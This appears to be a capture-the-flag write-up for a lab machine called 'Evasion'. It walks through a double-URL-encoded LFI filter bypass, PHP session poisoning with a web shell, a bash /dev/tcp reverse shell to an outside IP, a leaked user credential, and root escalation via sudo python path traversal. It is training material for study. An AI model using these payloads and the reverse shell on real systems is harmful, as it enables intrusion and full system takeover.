Published on

Evasion Writeup

Authors
logo

Port Scanning

nmap -sV -sC -p- -v $IP --min-rate 3000
evasion

Only ports 22 (SSH) and 80 (HTTP) are open.

Enumeration

When accessing the address on port 80, it redirects us to evasion.hc

evasion 1

We need to add the domain to our local DNS /etc/hosts

sudo vim /etc/hosts
evasion 2

Accessing the application on port 80, it was possible to register a new user to access the application.

evasion 3
By intercepting the route for Software Guide > Download, it was possible to find an LFI (Local File Inclusion) in the guide parameter. The application has a filter against LFI, but it was bypassed using double URL encoding. evasion 4
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%2565%2574%2563%252f%2570%2561%2573%2573%2577%2564
evasion 5

With our session cookie, we can read the file /var/lib/php/sessions/sess_0n9720fs19remri8e0h26gb5bq, which we can use to poison the PHP session log.

evasion 6

To poison the logs, we’ll create a new user but pass a PHP web shell in the login field.

<?php system($_GET[0]); ?>
evasion 7

When logging in with the created user (webshell) and intercepting the same request, we can successfully use the poisoning.

../../../../../var/lib/php/sessions/sess_p3eqpujc8mqhqnu9agu96bh8om
evasion 8

Foot Hold

Through LFI, we were able to get RCE by poisoning the logs, and with that, we can get a reverse shell using the following payload:

bash -c 'exec bash -i &>/dev/tcp/10.0.31.150/1337 <&1'
evasion 9
nc -lnvp 1337
evasion 10

Privillege Escalation

By running Pspy64 on the server, we identified a running process that reveals the credentials for user lucas.

lucas:TL7g81rqYFW

evasion 11
evasion 12
sudo -l
evasion 13

Since we can run any script as root without a password, we just need to create a Python script that gives us root access to the machine.

echo "import os" > evil.py
echo "os.system('/bin/bash')" >> evil.py
sudo /usr/bin/python3 /opt/scripts/../../../tmp/evil.py
evasion 14

Proof

evasion 15